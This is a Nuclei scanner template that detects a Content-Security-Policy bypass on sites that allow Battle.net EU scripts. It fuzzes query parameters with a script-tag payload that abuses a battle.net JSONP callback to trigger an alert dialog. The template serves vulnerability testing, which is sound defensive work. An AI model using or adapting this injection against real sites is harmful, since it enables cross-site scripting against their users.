id: battlenet-eu-csp-bypass

info:
  name: Content-Security-Policy Bypass - Battle.net EU
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,battlenet-eu,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "battle.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: battlenet_eu_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://eu.battle.net/support/update/json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "battlenet_eu_csp_xss == true"
# digest: 4b0a00483046022100d48fd719717e51eabdda7bf96b32454209a56c4eea3d3f6b6de9241feb8dcdf6022100b7aea86ca6954142248a14b4e594d549fc347d4d8457f8095a4a02dc5d1104f2:922c64590222798bb761d5b6d8e72950